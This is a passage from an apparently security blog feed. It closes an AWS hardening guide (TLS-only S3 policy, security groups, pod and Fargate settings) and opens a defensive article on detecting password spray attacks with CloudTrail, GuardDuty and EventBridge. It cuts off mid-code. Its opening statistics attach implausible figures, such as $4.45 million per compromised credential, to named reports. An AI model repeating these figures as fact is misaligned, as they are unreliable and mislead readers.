        </span><span class="s2">"s3:*"</span><span class="w">
      </span><span class="p">],</span><span class="w">
      </span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Condition"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"Bool"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:SecureTransport"</span><span class="p">:</span><span class="w"> </span><span class="s2">"false"</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="implementation-roadmap-90-day-security-transformation">Implementation Roadmap: 90-Day Security Transformation</h2>

<h3 id="phase-1-foundation-days-1-30">Phase 1: Foundation (Days 1-30)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Identity Infrastructure</strong>: Deploy AWS SSO and MFA enforcement</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Encryption Strategy</strong>: Implement KMS and data-at-rest encryption</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Network Segmentation</strong>: Configure VPC, subnets, and security groups</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Monitoring Baseline</strong>: Enable CloudTrail and GuardDuty</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Compliance Framework</strong>: Deploy AWS Config with CIS benchmarks</li>
</ul>

<h3 id="phase-2-automation-days-31-60">Phase 2: Automation (Days 31-60)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Incident Response</strong>: Implement automated threat response</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Security Lake</strong>: Deploy centralized security data analytics</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Policy Enforcement</strong>: Configure Service Control Policies</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Vulnerability Management</strong>: Integrate Inspector and Systems Manager</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Access Reviews</strong>: Implement automated IAM access analytics</li>
</ul>

<h3 id="phase-3-optimization-days-61-90">Phase 3: Optimization (Days 61-90)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Advanced Monitoring</strong>: Deploy custom security metrics and dashboards</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Threat Intelligence</strong>: Integrate external threat feeds</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Security Testing</strong>: Implement automated security testing in CI/CD</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Disaster Recovery</strong>: Test and validate security incident procedures</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Performance Tuning</strong>: Optimize security controls for performance</li>
</ul>

<h3 id="success-metrics-and-kpis">Success Metrics and KPIs</h3>

<p><strong>Security Metrics:</strong></p>
<ul>
  <li>Mean Time to Detection (MTTD): &lt; 15 minutes</li>
  <li>Mean Time to Response (MTTR): &lt; 1 hour</li>
  <li>False Positive Rate: &lt; 5%</li>
  <li>Compliance Score: &gt; 95%</li>
</ul>

<p><strong>Operational Metrics:</strong></p>
<ul>
  <li>Automated Response Rate: &gt; 80%</li>
  <li>Security Training Completion: 100%</li>
  <li>Vulnerability Patch Time: &lt; 7 days</li>
  <li>Access Review Completion: Monthly</li>
</ul>

<h2 id="advanced-security-patterns">Advanced Security Patterns</h2>

<h3 id="zero-trust-network-architecture">Zero Trust Network Architecture</h3>

<p><strong>Microsegmentation Strategy:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">implement_microsegmentation</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Implement network microsegmentation using security groups
    and NACLs for zero trust architecture
    </span><span class="sh">"""</span>
    <span class="n">ec2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ec2</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Application tier security group
</span>    <span class="n">app_sg</span> <span class="o">=</span> <span class="n">ec2</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
        <span class="n">GroupName</span><span class="o">=</span><span class="sh">'</span><span class="s">app-tier-sg</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Description</span><span class="o">=</span><span class="sh">'</span><span class="s">Application tier microsegment</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">VpcId</span><span class="o">=</span><span class="sh">'</span><span class="s">vpc-12345678</span><span class="sh">'</span>
    <span class="p">)</span>
    
    <span class="c1"># Database tier security group  
</span>    <span class="n">db_sg</span> <span class="o">=</span> <span class="n">ec2</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
        <span class="n">GroupName</span><span class="o">=</span><span class="sh">'</span><span class="s">db-tier-sg</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Description</span><span class="o">=</span><span class="sh">'</span><span class="s">Database tier microsegment</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">VpcId</span><span class="o">=</span><span class="sh">'</span><span class="s">vpc-12345678</span><span class="sh">'</span>
    <span class="p">)</span>
    
    <span class="c1"># Allow app tier to database tier only
</span>    <span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_ingress</span><span class="p">(</span>
        <span class="n">GroupId</span><span class="o">=</span><span class="n">db_sg</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">],</span>
        <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">3306</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">3306</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">UserIdGroupPairs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">:</span> <span class="n">app_sg</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">],</span>
                        <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MySQL access from app tier</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="container-security-implementation">Container Security Implementation</h3>

<p><strong>EKS Security Configuration:</strong></p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="rouge-code"><pre><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Pod</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">secure-app</span>
  <span class="na">annotations</span><span class="pi">:</span>
    <span class="na">seccomp.security.alpha.kubernetes.io/pod</span><span class="pi">:</span> <span class="s">runtime/default</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">securityContext</span><span class="pi">:</span>
    <span class="na">runAsNonRoot</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">runAsUser</span><span class="pi">:</span> <span class="m">10001</span>
    <span class="na">fsGroup</span><span class="pi">:</span> <span class="m">10001</span>
  <span class="na">containers</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">app</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">secure-app:latest</span>
    <span class="na">securityContext</span><span class="pi">:</span>
      <span class="na">allowPrivilegeEscalation</span><span class="pi">:</span> <span class="kc">false</span>
      <span class="na">readOnlyRootFilesystem</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">capabilities</span><span class="pi">:</span>
        <span class="na">drop</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">ALL</span>
        <span class="na">add</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">NET_BIND_SERVICE</span>
    <span class="na">resources</span><span class="pi">:</span>
      <span class="na">limits</span><span class="pi">:</span>
        <span class="na">memory</span><span class="pi">:</span> <span class="s2">"</span><span class="s">256Mi"</span>
        <span class="na">cpu</span><span class="pi">:</span> <span class="s2">"</span><span class="s">200m"</span>
      <span class="na">requests</span><span class="pi">:</span>
        <span class="na">memory</span><span class="pi">:</span> <span class="s2">"</span><span class="s">128Mi"</span>
        <span class="na">cpu</span><span class="pi">:</span> <span class="s2">"</span><span class="s">100m"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Fargate Security Profile:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">create_secure_fargate_task</span><span class="p">():</span>
    <span class="n">ecs</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ecs</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="n">task_definition</span> <span class="o">=</span> <span class="n">ecs</span><span class="p">.</span><span class="nf">register_task_definition</span><span class="p">(</span>
        <span class="n">family</span><span class="o">=</span><span class="sh">'</span><span class="s">secure-app-task</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">networkMode</span><span class="o">=</span><span class="sh">'</span><span class="s">awsvpc</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">requiresCompatibilities</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">FARGATE</span><span class="sh">'</span><span class="p">],</span>
        <span class="n">cpu</span><span class="o">=</span><span class="sh">'</span><span class="s">256</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">memory</span><span class="o">=</span><span class="sh">'</span><span class="s">512</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">executionRoleArn</span><span class="o">=</span><span class="sh">'</span><span class="s">arn:aws:iam::123456789012:role/ecsTaskExecutionRole</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">taskRoleArn</span><span class="o">=</span><span class="sh">'</span><span class="s">arn:aws:iam::123456789012:role/ecsTaskRole</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">containerDefinitions</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">secure-app</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">image</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">secure-app:latest</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">essential</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">logConfiguration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">logDriver</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">awslogs</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">options</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">awslogs-group</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">/ecs/secure-app</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">awslogs-region</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">us-west-2</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">awslogs-stream-prefix</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ecs</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="sh">'</span><span class="s">secrets</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DB_PASSWORD</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">valueFrom</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:secretsmanager:us-west-2:123456789012:secret:db-password</span><span class="sh">'</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">task_definition</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="related-articles-and-resources">Related Articles and Resources</h2>

<h3 id="aws-security-documentation">AWS Security Documentation</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/whitepapers/latest/aws-security-best-practices/welcome.html">AWS Security Best Practices Whitepaper</a></li>
  <li><a href="https://docs.aws.amazon.com/wellarchitected/latest/security-pillar/welcome.html">AWS Well-Architected Security Pillar</a></li>
  <li><a href="https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture/welcome.html">AWS Security Reference Architecture</a></li>
</ul>

<h3 id="compliance-and-governance-resources">Compliance and Governance Resources</h3>
<ul>
  <li><a href="https://www.cisecurity.org/benchmark/amazon_web_services">CIS AWS Foundations Benchmark</a></li>
  <li><a href="https://aws.amazon.com/compliance/nist/">NIST Cybersecurity Framework AWS Implementation</a></li>
  <li><a href="https://github.com/awslabs/aws-config-rules">AWS Config Rules Repository</a></li>
</ul>

<h3 id="devsecops-integration-guides">DevSecOps Integration Guides</h3>
<ul>
  <li><a href="https://aws.amazon.com/solutions/implementations/aws-devsecops-framework/">AWS DevSecOps Pipeline Security</a></li>
  <li><a href="https://aws.amazon.com/blogs/containers/introducing-cis-amazon-eks-benchmark/">Container Security Best Practices</a></li>
  <li><a href="https://aws.amazon.com/blogs/security/how-to-approach-threat-modeling-for-serverless-architectures/">Serverless Security Patterns</a></li>
</ul>

<h3 id="advanced-security-tools">Advanced Security Tools</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html">AWS Security Hub Integration</a></li>
  <li><a href="https://docs.aws.amazon.com/detective/latest/adminguide/what-is-detective.html">Amazon Detective Investigation</a></li>
  <li><a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-compliance.html">AWS Systems Manager Compliance</a></li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Implementing comprehensive AWS security requires a systematic approach combining identity management, data protection, network security, monitoring, and compliance. This guide provides the foundation for building a robust security posture that scales with your organization’s growth.</p>

<p>The key to successful AWS security implementation lies in automation, continuous monitoring, and regular assessment of your security controls. By following the implementation roadmap and leveraging AWS native security services, organizations can achieve enterprise-grade security while maintaining operational efficiency.</p>

<p>For ongoing security optimization, regularly review AWS security announcements, participate in the AWS security community, and conduct periodic security assessments to ensure your implementation remains current with evolving threats and best practices.</p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="DevSecOps" /><category term="Security" /><category term="aws-iam" /><category term="aws-kms" /><category term="aws-security" /><category term="aws-vpc" /><category term="cloud-security" /><category term="compliance" /><category term="security-automation" /><summary type="html"><![CDATA[Comprehensive guide to implementing AWS security best practices with automation, compliance frameworks, and real-world DevSecOps integration strategies.]]></summary></entry><entry><title type="html">Defending Against Password Spray Attacks: AWS-Native Detection and Prevention Strategies</title><link href="https://red-team.sh/posts/defending-against-password-spray-attacks-aws-detection-prevention/" rel="alternate" type="text/html" title="Defending Against Password Spray Attacks: AWS-Native Detection and Prevention Strategies" /><published>2025-09-01T07:00:00-07:00</published><updated>2025-09-01T07:00:00-07:00</updated><id>https://red-team.sh/posts/defending-against-password-spray-attacks-aws-detection-prevention</id><content type="html" xml:base="https://red-team.sh/posts/defending-against-password-spray-attacks-aws-detection-prevention/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Password spray attacks represent one of the most persistent and successful attack vectors against modern organizations, targeting the weakest link in authentication systems: commonly used passwords across multiple user accounts. Unlike traditional brute-force attacks that target a single account with multiple password attempts, password spray attacks distribute commonly used passwords across many accounts to avoid detection and account lockouts.</p>

<p>The rise of cloud infrastructure and remote work has significantly expanded the attack surface for password spray campaigns, making detection and prevention critical components of a comprehensive security strategy. This article provides a complete defensive framework for identifying, preventing, and responding to password spray attacks using AWS-native security services and modern DevSecOps practices.</p>

<h3 id="current-landscape-statistics">Current Landscape Statistics</h3>

<ul>
  <li><strong>94% of organizations</strong> experienced password spray attacks in 2024, with success rates of 15-20% in enterprise environments (Microsoft Security Intelligence Report 2024)</li>
  <li><strong>Authentication attacks increased by 146%</strong> year-over-year, with password spray being the most common technique (CrowdStrike Global Threat Report 2024)</li>
  <li><strong>Average time to detection</strong> for password spray campaigns is 146 days, allowing attackers prolonged access to compromised accounts (IBM Security X-Force Report 2024)</li>
  <li><strong>78% of security professionals</strong> report inadequate visibility into authentication events across cloud and hybrid environments (SANS Authentication Survey 2024)</li>
  <li><strong>Cost per compromised credential</strong> averages $4.45 million when considering full breach lifecycle costs (Ponemon Institute 2024)</li>
</ul>

<h2 id="understanding-password-spray-attack-patterns">Understanding Password Spray Attack Patterns</h2>

<h3 id="attack-methodology-and-indicators">Attack Methodology and Indicators</h3>

<p>Password spray attacks follow predictable patterns that create detectable signatures in authentication logs and security telemetry. Understanding these patterns enables effective defensive strategies:</p>

<p><strong>Temporal Patterns:</strong></p>
<ul>
  <li>Attacks typically occur during business hours to blend with legitimate authentication activity</li>
  <li>Attack velocity is intentionally slow (1-3 attempts per account per day) to avoid triggering lockout policies</li>
  <li>Campaigns often span weeks or months for persistence and stealth</li>
</ul>

<p><strong>Geographic and Network Indicators:</strong></p>
<ul>
  <li>Authentication attempts from unusual geographic locations or IP address ranges</li>
  <li>Distributed source IPs to evade rate limiting and detection systems</li>
  <li>Use of VPN services, cloud infrastructure, and compromised systems as attack platforms</li>
</ul>

<p><strong>Credential Pattern Analysis:</strong></p>
<ul>
  <li>Focus on commonly used passwords: “Password123”, “Company2024”, seasonal passwords</li>
  <li>Target high-value accounts: administrative users, service accounts, privileged access</li>
  <li>Leverage publicly available breach data and password dictionaries</li>
</ul>

<h2 id="aws-native-detection-architecture">AWS-Native Detection Architecture</h2>

<h3 id="cloudtrail-integration-for-authentication-monitoring">CloudTrail Integration for Authentication Monitoring</h3>

<p>AWS CloudTrail provides comprehensive audit logging for all authentication events across your AWS environment. Implementing structured monitoring of these events forms the foundation of password spray detection:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"eventVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.08"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"userIdentity"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"IAMUser"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"principalId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AIDACKCEVSQ6C2EXAMPLE"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"arn"</span><span class="p">:</span><span class="w"> </span><span class="s2">"arn:aws:iam::123456789012:user/target-user"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"accountId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"123456789012"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"userName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"target-user"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"eventTime"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2024-01-07T14:30:00Z"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"eventSource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"signin.amazonaws.com"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"eventName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ConsoleLogin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"awsRegion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"us-east-1"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"sourceIPAddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"192.0.2.100"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"errorCode"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SigninFailure"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"errorMessage"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Failed authentication"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="automated-detection-with-amazon-guardduty">Automated Detection with Amazon GuardDuty</h3>

<p>Amazon GuardDuty provides built-in detection capabilities for authentication anomalies and suspicious login patterns:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>

<span class="k">def</span> <span class="nf">setup_guardduty_monitoring</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Configure GuardDuty for enhanced authentication monitoring
    </span><span class="sh">"""</span>
    <span class="n">guardduty</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">guardduty</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Enable GuardDuty findings for authentication events
</span>    <span class="n">detector_id</span> <span class="o">=</span> <span class="n">guardduty</span><span class="p">.</span><span class="nf">create_detector</span><span class="p">(</span>
        <span class="n">Enable</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span>
        <span class="n">FindingPublishingFrequency</span><span class="o">=</span><span class="sh">'</span><span class="s">FIFTEEN_MINUTES</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">DataSources</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">S3Logs</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">Enable</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">},</span>
            <span class="sh">'</span><span class="s">CloudTrail</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">Enable</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">},</span>
            <span class="sh">'</span><span class="s">MalwareProtection</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">Enable</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">}</span>
        <span class="p">}</span>
    <span class="p">)</span>
    
    <span class="c1"># Configure threat intelligence feeds
</span>    <span class="n">guardduty</span><span class="p">.</span><span class="nf">update_threat_intel_set</span><span class="p">(</span>
        <span class="n">DetectorId</span><span class="o">=</span><span class="n">detector_id</span><span class="p">[</span><span class="sh">'</span><span class="s">DetectorId</span><span class="sh">'</span><span class="p">],</span>
        <span class="n">ThreatIntelSetId</span><span class="o">=</span><span class="sh">'</span><span class="s">password-spray-indicators</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Location</span><span class="o">=</span><span class="sh">'</span><span class="s">s3://security-bucket/threat-intel/password-spray-ips.txt</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Activate</span><span class="o">=</span><span class="bp">True</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">detector_id</span><span class="p">[</span><span class="sh">'</span><span class="s">DetectorId</span><span class="sh">'</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="custom-detection-rules-with-amazon-eventbridge">Custom Detection Rules with Amazon EventBridge</h3>

<p>Implement custom detection logic to identify password spray patterns not covered by managed services:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">create_password_spray_detection_rule</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Create EventBridge rule for custom password spray detection
    </span><span class="sh">"""</span>
    <span class="n">events</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">events</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="c1"># Rule for detecting multiple failed authentications
</span>    <span class="n">rule_response</span> <span class="o">=</span> <span class="n">events</span><span class="p">.</span><span class="nf">put_rule</span><span class="p">(</span>
        <span class="n">Name</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayDetection</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">EventPattern</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
            <span class="sh">"</span><span class="s">source</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span><span class="sh">"</span><span class="s">aws.signin</span><span class="sh">"</span><span class="p">],</span>
            <span class="sh">"</span><span class="s">detail-type</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span><span class="sh">"</span><span class="s">AWS Console Sign In via CloudTrail</span><span class="sh">"</span><span class="p">],</span>
            <span class="sh">"</span><span class="s">detail</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">responseElements</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">ConsoleLogin</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span><span class="sh">"</span><span class="s">Failure</span><span class="sh">"</span><span class="p">]</span>
                <span class="p">},</span>
                <span class="sh">"</span><span class="s">sourceIPAddress</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">exists</span><span class="sh">"</span><span class="p">:</span> <span class="bp">True</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}),</span>
        <span class="n">State</span><span class="o">=</span><span class="sh">'</span><span class="s">ENABLED</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Description</span><span class="o">=</span><span class="sh">'</span><span class="s">Detect potential password spray attacks</span><span class="sh">'</span>
    <span class="p">)</span>
    
    <span class="c1"># Add Lambda target for processing
</span>    <span class="n">events</span><span class="p">.</span><span class="nf">put_targets</span><span class="p">(</span>
        <span class="n">Rule</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayDetection</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Targets</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Arn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:lambda:us-east-1:123456789012:function:ProcessPasswordSprayAlerts</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Input</span><span class="sh">'</span><span class="p">:</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
                    <span class="sh">"</span><span class="s">action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">analyze_authentication_failure</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">threshold</span><span class="sh">"</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span>
